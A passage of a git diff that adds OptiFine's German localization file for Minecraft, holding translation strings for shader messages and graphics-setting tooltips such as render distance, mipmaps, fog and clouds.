+of.options.CHAT_SHADOW.tooltip.2= ANO - použít stín písma +of.options.CHAT_SHADOW.tooltip.3= NE - žádný stín písma diff --git a/src/assets/minecraft/optifine/lang/de_de.lang b/src/assets/minecraft/optifine/lang/de_de.lang new file mode 100644 index 00000000..9246a6f5 --- /dev/null +++ b/src/assets/minecraft/optifine/lang/de_de.lang @@ -0,0 +1,778 @@ +# Contributors of German localization # +# ThexXTURBOXx (Collaborator of Reforged) 2016-2-29 ---- 2016-3-3 +# RoiEXLab 2016-3-8 +# violine1101 (German Minecraft Wiki admin) 2016-4-4 ---- 2017-6-7 +# shaderecker (TheHADILP) 2016-5-20 ---- 2019-10-16 +# Nerdyyy 2018-1-6 +# OfficialCRUGG / CRUGG 2019-03-17 + +# General +of.general.ambiguous=Unklar +of.general.compact=Kompakt +of.general.custom=Benutzerdefiniert +of.general.from=Von +of.general.id=ID +of.general.max=Maximum +of.general.restart=Neustart +of.general.smart=Intelligent + +# Keys +of.key.zoom=Zoom + +# Message +of.message.aa.shaders1=Antialiasing ist nicht mit Shadern kompatibel. +of.message.aa.shaders2=Bitte deaktiviere Shader, um diese Einstellung zu aktivieren. + +of.message.af.shaders1=Anisotropische Filterung ist nicht mit Shadern kompatibel. +of.message.af.shaders2=Bitte deaktiviere Shader, um diese Einstellung zu aktivieren. + +of.message.fr.shaders1=Schnelles Rendern ist nicht mit Shadern kompatibel. +of.message.fr.shaders2=Bitte deaktiviere Shader, um diese Einstellung zu aktivieren. + +of.message.an.shaders1=3D-Effekt ist nicht mit Shadern kompatibel. +of.message.an.shaders2=Bitte deaktiviere Shader, um diese Einstellung zu aktivieren. + +of.message.shaders.aa1=Antialiasing ist nicht mit Shadern kompatibel. +of.message.shaders.aa2=Bitte deaktiviere Qualität -> Antialiasing und starte das Spiel neu. + +of.message.shaders.af1=Anisotropische Filterung ist nicht mit Shadern kompatibel. +of.message.shaders.af2=Bitte deaktiviere Qualität -> Anisotropische Filterung. + +of.message.shaders.fr1=Schnelles Rendern ist nicht mit Shadern kompatibel. +of.message.shaders.fr2=Bitte deaktiviere Leistung -> Schnelles Rendern. + +of.message.shaders.an1=Shader sind nicht mit dem 3D-Effekt kompatibel. +of.message.shaders.an2=Bitte deaktiviere Sonstiges -> 3D-Effekt. + +of.message.shaders.nv1=Dieses Shader-Paket erfordert eine neuere OptiFine Version: %s +of.message.shaders.nv2=Willst du wirklich fortfahren? + +of.message.newVersion=Eine neue Version von §eOptiFine§f ist verfügbar: §e%s§f +of.message.java64Bit=Du kannst die §e64-bit-Version von Java§f installieren, um die Leistung zu verbessern +of.message.openglError=§eOpenGL-Fehler§f: %s (%s) + +of.message.shaders.loading=Lade Shader: %s + +of.message.other.reset=Alle Grafikeinstellungen auf die Standardwerte zurücksetzen? + +of.message.loadingVisibleChunks=Lade sichtbare Chunks + +# Skin customization + +of.options.skinCustomisation.ofCape=OptiFine Umhang... + +of.options.capeOF.title=OptiFine Umhang +of.options.capeOF.openEditor=Umhang-Editor öffnen +of.options.capeOF.reloadCape=Umhang neu laden + +of.message.capeOF.openEditor=Der OptiFine Umhang-Editor sollte sich in einem Web-Browser öffnen. +of.message.capeOF.reloadCape=Der Umhang wird in 15 Sekunden neu geladen. + +of.message.capeOF.error1=Mojang Authentifizierung fehlgeschlagen. +of.message.capeOF.error2=Fehler: %s + +# Video settings + +options.graphics.tooltip.1=Grafikmodus +options.graphics.tooltip.2= Schnell - Niedrigere Qualität (schneller) +options.graphics.tooltip.3= Schön - Höhere Qualität (langsamer) +options.graphics.tooltip.4=Verändert das Aussehen von Wolken, Blättern, Wasser, +options.graphics.tooltip.5=Schatten und Grasblöcken. + +of.options.renderDistance.tiny=Winzig +of.options.renderDistance.short=Klein +of.options.renderDistance.normal=Normal +of.options.renderDistance.far=Weit +of.options.renderDistance.extreme=Extrem +of.options.renderDistance.insane=Wahnsinnig +of.options.renderDistance.ludicrous=Absurd + +options.renderDistance.tooltip.1=Sichtweite +options.renderDistance.tooltip.2= 2 Winzig - 32m (am schnellsten) +options.renderDistance.tooltip.3= 8 Normal - 128m +options.renderDistance.tooltip.4= 16 Weit - 256m (langsam) +options.renderDistance.tooltip.5= 32 Extrem - 512m (am langsamsten!) ressourcenlastig +options.renderDistance.tooltip.6= 48 Wahnsinnig - 768m, braucht 2GB RAM zugeteilt +options.renderDistance.tooltip.7= 64 Absurd - 1024m, braucht 3GB RAM zugeteilt +options.renderDistance.tooltip.8=Werte über 16 funktionieren nur im Einzelspielermodus. + +options.ao.tooltip.1=Weiche Beleuchtung +options.ao.tooltip.2= Aus - Normale Beleuchtung (schnell) +options.ao.tooltip.3= Minimum - Einfache weiche Beleuchtung (langsam) +options.ao.tooltip.4= Maximum - Komplexe weiche Beleuchtung (am langsamsten) + +options.framerateLimit.tooltip.1=Maximale Bildrate +options.framerateLimit.tooltip.2= V-Sync - Auf Monitor-Bildrate begrenzen (60, 30, 20) +options.framerateLimit.tooltip.3= 5-255 - Auf eingestellte Bildrate begrenzen +options.framerateLimit.tooltip.4= Unendlich - Keine Begrenzung (am schnellsten) +options.framerateLimit.tooltip.5=Die Bildrate grenzt die FPS ein, sogar wenn +options.framerateLimit.tooltip.6=die Begrenzung nicht erreicht ist. +of.options.framerateLimit.vsync=V-Sync + +of.options.AO_LEVEL=Schattenhelligkeit +of.options.AO_LEVEL.tooltip.1=Schattenhelligkeit +of.options.AO_LEVEL.tooltip.2= Aus - Keine Schatten +of.options.AO_LEVEL.tooltip.3= 50%% - Helle Schatten +of.options.AO_LEVEL.tooltip.4= 100%% - Dunkle Schatten + +options.viewBobbing.tooltip.1=Gehbewegung +options.viewBobbing.tooltip.2=Wenn Mipmaps verwendet werden, deaktiviere diese +options.viewBobbing.tooltip.3=Einstellung für bessere Leitung. + +options.guiScale.tooltip.1=GUI-Größe +options.guiScale.tooltip.2= Auto - Maximale Größe +options.guiScale.tooltip.3= Klein, Normal, Groß - 1x-3x +options.guiScale.tooltip.4= 4x-10x - Verfügbar auf 4K-Monitoren +options.guiScale.tooltip.5=Ungerade Werte (1x, 3x, 5x ...) sind nicht mit +options.guiScale.tooltip.6=Unicode-Schrift kompatibel. +options.guiScale.tooltip.7=Ein kleineres GUI ist eventuell schneller. + +options.vbo=VBOs verwenden +options.vbo.tooltip.1=Vertexbufferobjekte +options.vbo.tooltip.2=Benutzt ein alternatives Rendermodell, das normalerweise +options.vbo.tooltip.3=schneller (5-10%%) als das Standard-Rendermodell ist. + +options.gamma.tooltip.1=Ändert die Helligkeit dunkler Objekte +options.gamma.tooltip.2= Düster - Standardhelligkeit +options.gamma.tooltip.3= 1-99%% - veränderlich +options.gamma.tooltip.4= Hell - Maximale Helligkeit für dunkle Objekte +options.gamma.tooltip.5=Diese Einstellung ändert nicht die Helligkeit von komplett +options.gamma.tooltip.6=schwarzen Objekten. + +options.anaglyph.tooltip.1=3D-Effekt +options.anaglyph.tooltip.2=Aktiviert einen stereoskopischen 3D-Effekt durch +options.anaglyph.tooltip.3=Verwendung unterschiedlicher Farben für jedes Auge. +options.anaglyph.tooltip.4=Kann nur mit einer 3D-Brille benutzt werden. + +of.options.ALTERNATE_BLOCKS=Blockvarianten +of.options.ALTERNATE_BLOCKS.tooltip.1=Blockvarianten +of.options.ALTERNATE_BLOCKS.tooltip.2=Benutzt alternative Blockmodelle für einige Blöcke. +of.options.ALTERNATE_BLOCKS.tooltip.3=Abhängig vom ausgewählten Ressourcenpaket. + +of.options.FOG_FANCY=Nebel +of.options.FOG_FANCY.tooltip.1=Nebel +of.options.FOG_FANCY.tooltip.2= Schnell - Schneller Nebel +of.options.FOG_FANCY.tooltip.3= Schön - Langsamer Nebel, sieht besser aus +of.options.FOG_FANCY.tooltip.4= Aus - Kein Nebel, am schnellsten +of.options.FOG_FANCY.tooltip.5=Der schöne Nebel ist nur verfügbar, wenn er von der +of.options.FOG_FANCY.tooltip.6=Grafikkarte unterstützt wird. + +of.options.FOG_START=Nebelstart +of.options.FOG_START.tooltip.1=Nebelstart +of.options.FOG_START.tooltip.2= 0.2 - Der Nebel startet nahe beim Spieler +of.options.FOG_START.tooltip.3= 0.8 - Der Nebel startet weit weg vom Spieler +of.options.FOG_START.tooltip.4=Diese Einstellung beeinflusst normalerweise nicht die +of.options.FOG_START.tooltip.5=Leistung. + +of.options.CHUNK_LOADING=Chunkladen +of.options.CHUNK_LOADING.tooltip.1=Chunkladen +of.options.CHUNK_LOADING.tooltip.2= Standard - Instabile FPS, wenn Chunks geladen werden +of.options.CHUNK_LOADING.tooltip.3= Weich - Stabile FPS +of.options.CHUNK_LOADING.tooltip.4= Multi-Core - Stabile FPS, 3x schnelleres Weltladen +of.options.CHUNK_LOADING.tooltip.5=Weich und Multi-Core entfernen Ruckler und +of.options.CHUNK_LOADING.tooltip.6=Standbilder, welche durch Chunkladen verursacht werden. +of.options.CHUNK_LOADING.tooltip.7=Multi-Core kann das Weltladen 3x schneller machen und +of.options.CHUNK_LOADING.tooltip.8=die FPS erhöhen, indem es einen zweiten CPU-Kern benutzt. +of.options.chunkLoading.smooth=Weich +of.options.chunkLoading.multiCore=Multi-Core + +of.options.shaders=Shader... +of.options.shadersTitle=Shader + +of.options.shaders.packNone=Aus +of.options.shaders.packDefault=(Interner Shader) + +of.options.shaders.ANTIALIASING=Antialiasing +of.options.shaders.ANTIALIASING.tooltip.1=Antialiasing +of.options.shaders.ANTIALIASING.tooltip.2= Aus - (Standard) kein Antialiasing (schneller) +of.options.shaders.ANTIALIASING.tooltip.3= FXAA 2x, 4x - Geglättete Linien und Ränder (langsamer) +of.options.shaders.ANTIALIASING.tooltip.4=FXAA ist ein Nachbearbeitungs-Effekt, der zackige +of.options.shaders.ANTIALIASING.tooltip.5=Linien und harte Farbübergänge glättet. +of.options.shaders.ANTIALIASING.tooltip.6=Dies ist schneller als herkömmliches Antialiasing +of.options.shaders.ANTIALIASING.tooltip.7=und kompatibel mit Shadern und schnellem Rendern. + +of.options.shaders.NORMAL_MAP=Normalkarten +of.options.shaders.NORMAL_MAP.tooltip.1=Normalkarten +of.options.shaders.NORMAL_MAP.tooltip.2= An - (Standard) Normalkarten aktiviert +of.options.shaders.NORMAL_MAP.tooltip.3= Aus - Normalkarten deaktiviert +of.options.shaders.NORMAL_MAP.tooltip.4=Normalkarten können von Shader-Paketen verwendet +of.options.shaders.NORMAL_MAP.tooltip.5=werden, um 3D-Geometrie auf flachen Oberflächen zu +of.options.shaders.NORMAL_MAP.tooltip.6=simulieren. +of.options.shaders.NORMAL_MAP.tooltip.7=Die Normalkarten werden vom aktivierten +of.options.shaders.NORMAL_MAP.tooltip.8=Ressourcenpaket zur Verfügung gestellt. + +of.options.shaders.SPECULAR_MAP=Reflexionskarten +of.options.shaders.SPECULAR_MAP.tooltip.1=Reflexionskarten +of.options.shaders.SPECULAR_MAP.tooltip.2= An - (Standard) Reflexionskarten aktiviert +of.options.shaders.SPECULAR_MAP.tooltip.3= Aus - Reflexionskarten deaktiviert +of.options.shaders.SPECULAR_MAP.tooltip.4=Reflexionskarten können von Shader-Paketen verwendet +of.options.shaders.SPECULAR_MAP.tooltip.5=werden, um spezielle Reflexionseffekte zu erzeugen. +of.options.shaders.SPECULAR_MAP.tooltip.6=Die Reflexionskarten werden vom aktivierten +of.options.shaders.SPECULAR_MAP.tooltip.7=Ressourcenpaket zur Verfügung gestellt. + +of.options.shaders.RENDER_RES_MUL=Renderqualität +of.options.shaders.RENDER_RES_MUL.tooltip.1=Renderqualität +of.options.shaders.RENDER_RES_MUL.tooltip.2= 0.5x - Niedrig (am schnellsten) +of.options.shaders.RENDER_RES_MUL.tooltip.3= 1x - Standard +of.options.shaders.RENDER_RES_MUL.tooltip.4= 2x - Hoch (am langsamsten) +of.options.shaders.RENDER_RES_MUL.tooltip.5=Die Renderqualität regelt die Auflösung der Textur, +of.options.shaders.RENDER_RES_MUL.tooltip.6=auf welcher die Shader gerendert werden. +of.options.shaders.RENDER_RES_MUL.tooltip.7=Niedrigere Werte können bei 4K-Monitoren nützlich sein. +of.options.shaders.RENDER_RES_MUL.tooltip.8=Höhere Werte arbeiten wie ein Antialiasing-Filter. + +of.options.shaders.SHADOW_RES_MUL=Schattenqualität +of.options.shaders.SHADOW_RES_MUL.tooltip.1=Schattenqualität +of.options.shaders.SHADOW_RES_MUL.tooltip.2= 0.5x - Niedrig (am schnellsten) +of.options.shaders.SHADOW_RES_MUL.tooltip.3= 1x - Standard +of.options.shaders.SHADOW_RES_MUL.tooltip.4= 2x - Hoch (am langsamsten) +of.options.shaders.SHADOW_RES_MUL.tooltip.5=Die Schattenqualität regelt die Auflösung der Schatten- +of.options.shaders.SHADOW_RES_MUL.tooltip.6=Karten Textur des benutzten Shader-Pakets. +of.options.shaders.SHADOW_RES_MUL.tooltip.7=Niedrigere Werte = Ungenaue, grobe Schatten. +of.options.shaders.SHADOW_RES_MUL.tooltip.8=Höhere Werte = Detaillierte, feine Schatten. + +of.options.shaders.HAND_DEPTH_MUL=Handtiefe +of.options.shaders.HAND_DEPTH_MUL.tooltip.1=Handtiefe +of.options.shaders.HAND_DEPTH_MUL.tooltip.2= 0.5x - Hand in Kamera-Nähe +of.options.shaders.HAND_DEPTH_MUL.tooltip.3= 1x - (Standard) +of.options.shaders.HAND_DEPTH_MUL.tooltip.4= 2x - Hand weiter von der Kamera entfernt +of.options.shaders.HAND_DEPTH_MUL.tooltip.5=Die Handtiefe steuert, wie weit Gegenstände von +of.options.shaders.HAND_DEPTH_MUL.tooltip.6=der Kamera entfernt sind. +of.options.shaders.HAND_DEPTH_MUL.tooltip.7=Für Shader-Pakete mit Tiefenunschärfe regelt dies +of.options.shaders.HAND_DEPTH_MUL.tooltip.8=die Unschärfe der tragbaren Gegenstände. + +of.options.shaders.CLOUD_SHADOW=Wolkenschatten + +of.options.shaders.OLD_HAND_LIGHT=Alte Handbel. +of.options.shaders.OLD_HAND_LIGHT.tooltip.1=Alte Handbeleuchtung +of.options.shaders.OLD_HAND_LIGHT.tooltip.2= Standard - gesteuert vom Shader-Paket +of.options.shaders.OLD_HAND_LIGHT.tooltip.3= An - Alte Handbeleuchtung aktiviert +of.options.shaders.OLD_HAND_LIGHT.tooltip.4= Aus - Alte Handbeleuchtung deaktiviert +of.options.shaders.OLD_HAND_LIGHT.tooltip.5=Die alte Handbeleuchtung sorgt dafür, dass leuchtende +of.options.shaders.OLD_HAND_LIGHT.tooltip.6=Gegenstände bei alten Shader-Paketen sowohl in der +of.options.shaders.OLD_HAND_LIGHT.tooltip.7=Haupt-, als auch der Nebenhand erkannt werden. + +of.options.shaders.OLD_LIGHTING=Alte Bel. +of.options.shaders.OLD_LIGHTING.tooltip.1=Alte Beleuchtung +of.options.shaders.OLD_LIGHTING.tooltip.2= Standard - gesteuert vom Shader-Paket +of.options.shaders.OLD_LIGHTING.tooltip.3= An - Alte Beleuchtung aktiviert +of.options.shaders.OLD_LIGHTING.tooltip.4= Aus - Alte Beleuchtung deaktiviert +of.options.shaders.OLD_LIGHTING.tooltip.5=Die alte Beleuchtung steuert die starre "Vanilla" +of.options.shaders.OLD_LIGHTING.tooltip.6=Beleuchtung der Block-Seiten. +of.options.shaders.OLD_LIGHTING.tooltip.7=Shader-Pakete mit Schatten variierend nach Sonnenstand +of.options.shaders.OLD_LIGHTING.tooltip.8=stellen meistens eine bessere Beleuchtung zur Verfügung. + +of.options.shaders.DOWNLOAD=Shader von Website herunterladen +of.options.shaders.DOWNLOAD.tooltip.1=Shader von Website herunterladen +of.options.shaders.DOWNLOAD.tooltip.2= +of.options.shaders.DOWNLOAD.tooltip.3=Öffnet die Shader-Paket Website im Browser. +of.options.shaders.DOWNLOAD.tooltip.4=Lege das heruntergeladene Shader-Paket in den +of.options.shaders.DOWNLOAD.tooltip.5=Shader-Ordner, damit es in der Liste der +of.options.shaders.DOWNLOAD.tooltip.6=installierten Shader erscheint. + +of.options.shaders.SHADER_PACK=Shader + +of.options.shaders.shadersFolder=Shader-Ordner +of.options.shaders.shaderOptions=Shadereinstellungen ... + +of.options.shaderOptionsTitle=Shader + +of.options.quality=Qualität ... +of.options.qualityTitle=Qualitätseinstellungen + +of.options.details=Details ... +of.options.detailsTitle=Detaileinstellungen + +of.options.performance=Leistung ... +of.options.performanceTitle=Leistungseinstellungen + +of.options.animations=Animationen ... +of.options.animationsTitle=Animationseinstellungen + +of.options.other=Sonstiges ... +of.options.otherTitle=Andere Einstellungen + +of.options.other.reset=Grafikeinstellungen zurücksetzen ... + +of.shaders.profile=Profil + +# Quality + +of.options.mipmap.bilinear=Bilinear +of.options.mipmap.linear=Linear +of.options.mipmap.nearest=Am nächsten +of.options.mipmap.trilinear=Trilinear + +options.mipmapLevels.tooltip.1=Visueller Effekt, der weit entfernte Objekte besser aus- +options.mipmapLevels.tooltip.2=sehen lässt, indem Texturdetails geglättet werden. +options.mipmapLevels.tooltip.3= Aus - Keine Glättung von Details +options.mipmapLevels.tooltip.4= 1 - Minimale Glättung von Details +options.mipmapLevels.tooltip.5= Maximum - Maximale Glättung von Details +options.mipmapLevels.tooltip.6=Diese Einstellung beeinflusst normalerweise nicht die +options.mipmapLevels.tooltip.7=Leistung. + +of.options.MIPMAP_TYPE=Mipmap-Typ +of.options.MIPMAP_TYPE.tooltip.1=Visueller Effekt, der weit entfernte Objekte besser aus- +of.options.MIPMAP_TYPE.tooltip.2=sehen lässt, indem Texturdetails geglättet werden. +of.options.MIPMAP_TYPE.tooltip.3= Am nächsten - Grobe Glättung (am schnellsten) +of.options.MIPMAP_TYPE.tooltip.4= Linear - Normale Glättung +of.options.MIPMAP_TYPE.tooltip.5= Bilinear - Feine Glättung +of.options.MIPMAP_TYPE.tooltip.6= Trilinear - Feinste Glättung (am langsamsten) + + +of.options.AA_LEVEL=Antialiasing +of.options.AA_LEVEL.tooltip.1=Antialiasing +of.options.AA_LEVEL.tooltip.2= Aus - (Standard) Kein Antialiasing (schneller) +of.options.AA_LEVEL.tooltip.3= 2-16 - Antialiasierte Linien und Ecken (langsamer) +of.options.AA_LEVEL.tooltip.4=Das Antialiasing weicht gezackte Linien ab und schärft +of.options.AA_LEVEL.tooltip.5=Farbübergänge. Wenn aktiviert, kann es die Bildrate +of.options.AA_LEVEL.tooltip.6=erheblich beeinträchtigen. +of.options.AA_LEVEL.tooltip.7=Nicht alle Stufen werden von allen Grafikkarten unterstützt. +of.options.AA_LEVEL.tooltip.8=Änderung wird erst nach einem Neustart effektiv! + +of.options.AF_LEVEL=Anisotropische Filterung +of.options.AF_LEVEL.tooltip.1=Anisotropische Filterung +of.options.AF_LEVEL.tooltip.2= Aus - (Standard) Standard-Texturdetails (schneller) +of.options.AF_LEVEL.tooltip.3= 2-16 - Feinere Details in Texturen (langsamer) +of.options.AF_LEVEL.tooltip.4=Die anisotropische Filterung stellt Details in Texturen, +of.options.AF_LEVEL.tooltip.5=die durch Mipmap ihre Details verloren haben, wieder her. +of.options.AF_LEVEL.tooltip.6=Wenn aktiviert, kann es die FPS erheblich verringern. + +of.options.CLEAR_WATER=Klares Wasser +of.options.CLEAR_WATER.tooltip.1=Klares Wasser +of.options.CLEAR_WATER.tooltip.2= An - Klares, transparentes Wasser +of.options.CLEAR_WATER.tooltip.3= Aus - Normales Wasser + +of.options.RANDOM_ENTITIES=Entitätsvarianten +of.options.RANDOM_ENTITIES.tooltip.1=Entitätsvarianten +of.options.RANDOM_ENTITIES.tooltip.2= Aus - Keine Entitätsvarianten (schneller) +of.options.RANDOM_ENTITIES.tooltip.3= An - Entitätsvarianten (langsamer) +of.options.RANDOM_ENTITIES.tooltip.4=Die gleichen Entitäten können unterschiedliche Texturen +of.options.RANDOM_ENTITIES.tooltip.5=haben. Dies benötigt ein Ressourcenpaket mit entspre- +of.options.RANDOM_ENTITIES.tooltip.6=chenden Texturen. + +of.options.BETTER_GRASS=Besseres Gras +of.options.BETTER_GRASS.tooltip.1=Besseres Gras +of.options.BETTER_GRASS.tooltip.2= Aus - Standard-Grasseitentextur, am schnellsten +of.options.BETTER_GRASS.tooltip.3= Schnell - Volle Grasseitentextur, langsamer +of.options.BETTER_GRASS.tooltip.4= Schön - Dynamische Grasseitentextur, am langsamsten + +of.options.BETTER_SNOW=Besserer Schnee +of.options.BETTER_SNOW.tooltip.1=Besserer Schnee +of.options.BETTER_SNOW.tooltip.2= Aus - Normaler Schnee (schneller) +of.options.BETTER_SNOW.tooltip.3= An - Besserer Schnee (langsamer) +of.options.BETTER_SNOW.tooltip.4=Setzt Schnee unter transparente Blöcke (wie Zäune +of.options.BETTER_SNOW.tooltip.5=oder hohes Gras), wenn sie an Schneeblöcke grenzen. + +of.options.CUSTOM_FONTS=Schriftartressourcen +of.options.CUSTOM_FONTS.tooltip.1=Schriftartressourcen +of.options.CUSTOM_FONTS.tooltip.2= An - Ressourcenpaket-Schriftart (Standard, langsamer) +of.options.CUSTOM_FONTS.tooltip.3= Aus - Standardschriftart (schneller) +of.options.CUSTOM_FONTS.tooltip.4=Die Schriftart wird aus den aktivierten +of.options.CUSTOM_FONTS.tooltip.5=Ressourcenpaketen geladen. + +of.options.CUSTOM_COLORS=Farbressourcen +of.options.CUSTOM_COLORS.tooltip.1=Farbressourcen +of.options.CUSTOM_COLORS.tooltip.2= An - Ressourcenpaket-Farben (Standard, langsamer) +of.options.CUSTOM_COLORS.tooltip.3= Aus - Standardfarben (schneller) +of.options.CUSTOM_COLORS.tooltip.4=Die Farben werden aus den aktivierten +of.options.CUSTOM_COLORS.tooltip.5=Ressourcenpaketen geladen. + +of.options.SWAMP_COLORS=Sumpffarben +of.options.SWAMP_COLORS.tooltip.1=Sumpffarben +of.options.SWAMP_COLORS.tooltip.2= An - Färbt den Sumpf dunkler (Standard, langsamer) +of.options.SWAMP_COLORS.tooltip.3= Aus - Färbt den Sumpf in normalen Farben (schneller) +of.options.SWAMP_COLORS.tooltip.4=Die Sumpffarben betreffen Gras, Laub, Ranken und +of.options.SWAMP_COLORS.tooltip.5=Wasser. + +of.options.SMOOTH_BIOMES=Biomübergänge +of.options.SMOOTH_BIOMES.tooltip.1=Biomübergänge +of.options.SMOOTH_BIOMES.tooltip.2= An - Flüssige Biomübergänge (Standard, langsamer) +of.options.SMOOTH_BIOMES.tooltip.3= Aus - Keine flüssigen Biomübergänge (schneller) +of.options.SMOOTH_BIOMES.tooltip.4=Die Farbübergänge werden durch Probennahme und +of.options.SMOOTH_BIOMES.tooltip.5=Durchschnittsberechnung der Farben der umliegenden +of.options.SMOOTH_BIOMES.tooltip.6=Blöcke berechnet. Betroffen sind Gras, Laub, Ranken und +of.options.SMOOTH_BIOMES.tooltip.7=Wasser. + +of.options.CONNECTED_TEXTURES=Verbundene Texturen +of.options.CONNECTED_TEXTURES.tooltip.1=Verbundene Texturen +of.options.CONNECTED_TEXTURES.tooltip.2= Aus - Keine verbundenen Texturen (Standard) +of.options.CONNECTED_TEXTURES.tooltip.3= Schnell - Schnelle verbundene Texturen +of.options.CONNECTED_TEXTURES.tooltip.4= Schöne - Schöne verbundene Texturen +of.options.CONNECTED_TEXTURES.tooltip.5=Verbundene Texturen verbinden die Texturen von Glas, +of.options.CONNECTED_TEXTURES.tooltip.6=Sandstein und Bücherregalen, wenn sie nebeneinander +of.options.CONNECTED_TEXTURES.tooltip.7=platziert werden. Die verbundenen Texturen werden aus +of.options.CONNECTED_TEXTURES.tooltip.8=den aktivierten Ressourcenpaketen geladen. + +of.options.NATURAL_TEXTURES=Natürliche Texturen +of.options.NATURAL_TEXTURES.tooltip.1=Natürliche Texturen +of.options.NATURAL_TEXTURES.tooltip.2= Aus - Keine natürlichen Texturen (Standard) +of.options.NATURAL_TEXTURES.tooltip.3= An - Benutzt natürliche Texturen +of.options.NATURAL_TEXTURES.tooltip.4=Natürliche Texturen entfernen die rasterartige +of.options.NATURAL_TEXTURES.tooltip.5=Anordnung beim Platzieren gleicher Blöcke +of.options.NATURAL_TEXTURES.tooltip.6=durch Variationen der Standard-Blocktextur. +of.options.NATURAL_TEXTURES.tooltip.7=Die Einstellungen für die natürlichen Texturen +of.options.NATURAL_TEXTURES.tooltip.8=werden aus den aktivierten Ressourcenpaketen geladen. + +of.options.EMISSIVE_TEXTURES=Leuchtende Texturen +of.options.EMISSIVE_TEXTURES.tooltip.1=Leuchtende Texturen +of.options.EMISSIVE_TEXTURES.tooltip.2= Aus - Keine lichtemittierenden Texturen (Standard) +of.options.EMISSIVE_TEXTURES.tooltip.3= An - Lichtemittierende Texturen +of.options.EMISSIVE_TEXTURES.tooltip.4=Die lichtemittierenden Texturen werden als Overlays mit +of.options.EMISSIVE_TEXTURES.tooltip.5=voller Helligkeit gerendert. Dadurch können leuchtende +of.options.EMISSIVE_TEXTURES.tooltip.6=Bereiche der Grund-Textur simuliert werden. +of.options.EMISSIVE_TEXTURES.tooltip.7=Die lichtemittierenden Texturen werden aus den +of.options.EMISSIVE_TEXTURES.tooltip.8=aktivierten Ressourcenpaketen geladen. + +of.options.CUSTOM_SKY=Himmelstexturen +of.options.CUSTOM_SKY.tooltip.1=Himmelstexturen +of.options.CUSTOM_SKY.tooltip.2= An - Ressourcenpaket-Himmel (Standard, langsam) +of.options.CUSTOM_SKY.tooltip.3= Aus - Standardhimmel (schneller) +of.options.CUSTOM_SKY.tooltip.4=Die Himmelstexturen werden aus den aktivierten +of.options.CUSTOM_SKY.tooltip.5=Ressourcenpaketen geladen. + +of.options.CUSTOM_ITEMS=Gegenstandstexturen +of.options.CUSTOM_ITEMS.tooltip.1=Gegenstandstexturen +of.options.CUSTOM_ITEMS.tooltip.2= An - Ressourcenpaket-G.texturen (Standard, langsam) +of.options.CUSTOM_ITEMS.tooltip.3= Aus - Standard-Gegenstandstexturen (schneller) +of.options.CUSTOM_ITEMS.tooltip.4=Die Gegenstandstexturen werden aus den aktivierten +of.options.CUSTOM_ITEMS.tooltip.5=Ressourcenpaketen geladen. + +of.options.CUSTOM_ENTITY_MODELS=Wesens- & Objektmodelle +of.options.CUSTOM_ENTITY_MODELS.tooltip.1=Wesens- und Objektmodelle +of.options.CUSTOM_ENTITY_MODELS.tooltip.2= An - Ressourcenpaketmodelle (Standard, langsam) +of.options.CUSTOM_ENTITY_MODELS.tooltip.3= Aus - Standardmodelle (schneller) +of.options.CUSTOM_ENTITY_MODELS.tooltip.4=Die Wesens- und Objektmodelle werden aus den +of.options.CUSTOM_ENTITY_MODELS.tooltip.5=aktivierten Ressourcenpaketen geladen. + +of.options.CUSTOM_GUIS=Ressourcenpaket-GUI +of.options.CUSTOM_GUIS.tooltip.1=Ressourcenpaket-GUI +of.options.CUSTOM_GUIS.tooltip.2= An - Ressourcenpaket-GUI (Standard, langsam) +of.options.CUSTOM_GUIS.tooltip.3= Aus - Standard GUI (schneller) +of.options.CUSTOM_GUIS.tooltip.4=Das GUI wird aus den aktivierten Ressourcenpaketen +of.options.CUSTOM_GUIS.tooltip.5=geladen. + +# Details + +of.options.CLOUDS=Wolken +of.options.CLOUDS.tooltip.1=Wolken +of.options.CLOUDS.tooltip.2= Standard - Wie Grafikmodus +of.options.CLOUDS.tooltip.3= Schnell - Schlechtere Qualität (schneller) +of.options.CLOUDS.tooltip.4= Schön - Höhere Qualität (langsamer) +of.options.CLOUDS.tooltip.5= Aus - Keine Wolken (am schnellsten) +of.options.CLOUDS.tooltip.6=Schnelle Wolken werden zweidimensional dargestellt. +of.options.CLOUDS.tooltip.7=Schöne Wolken werden dreidimensional dargestellt. + +of.options.CLOUD_HEIGHT=Wolkenhöhe +of.options.CLOUD_HEIGHT.tooltip.1=Wolkenhöhe +of.options.CLOUD_HEIGHT.tooltip.2= Aus - Standardhöhe +of.options.CLOUD_HEIGHT.tooltip.3= 100%% - Ãœber der maximalen Welthöhe + +of.options.TREES=Bäume +of.options.TREES.tooltip.1=Bäume +of.options.TREES.tooltip.2= Standard - Wie Grafikmodus +of.options.TREES.tooltip.3= Schnell - Schlechtere Qualität (schneller) +of.options.TREES.tooltip.4= Fein - Hohe Qualität (schnell) +of.options.TREES.tooltip.5= Schön - Höchste Qualität (langsamer) +of.options.TREES.tooltip.6=Schnelle Bäume haben solide Blätter. +of.options.TREES.tooltip.7=Schöne Bäume haben teilweise transparente Blätter. + +of.options.RAIN=Regen & Schnee +of.options.RAIN.tooltip.1=Regen & Schnee +of.options.RAIN.tooltip.2= Standard - Wie Grafikmodus +of.options.RAIN.tooltip.3= Schnell - Leichter Regen/Schnee (schneller) +of.options.RAIN.tooltip.4= Schön - Starker Regen/Schnee (langsamer) +of.options.RAIN.tooltip.5= Aus - Kein Regen/Schnee (am schnellsten) +of.options.RAIN.tooltip.6=Wenn diese Einstellung deaktiviert ist, sind die Regen- +of.options.RAIN.tooltip.7=geräusche und -partikel dennoch zu hören und zu sehen. + +of.options.SKY=Himmel +of.options.SKY.tooltip.1=Himmel +of.options.SKY.tooltip.2= An - Himmel ist sichtbar (langsamer) +of.options.SKY.tooltip.3= Aus - Himmel ist nicht sichtbar (schneller) +of.options.SKY.tooltip.4=Wenn dies deaktiviert ist, sind Mond und Sonne dennoch +of.options.SKY.tooltip.5=sichtbar. + +of.options.STARS=Sterne +of.options.STARS.tooltip.1=Sterne +of.options.STARS.tooltip.2= An - Sterne sind sichtbar (langsamer) +of.options.STARS.tooltip.3= Aus - Sterne sind nicht sichtbar (schneller) + +of.options.SUN_MOON=Sonne & Mond +of.options.SUN_MOON.tooltip.1=Sonne & Mond +of.options.SUN_MOON.tooltip.2= An - Sonne und Mond sind sichtbar (Standard) +of.options.SUN_MOON.tooltip.3= Aus - Sonne und Mond sind nicht sichtbar (schneller) + +of.options.SHOW_CAPES=Umhänge +of.options.SHOW_CAPES.tooltip.1=Umhänge +of.options.SHOW_CAPES.tooltip.2= An - Umhänge werden 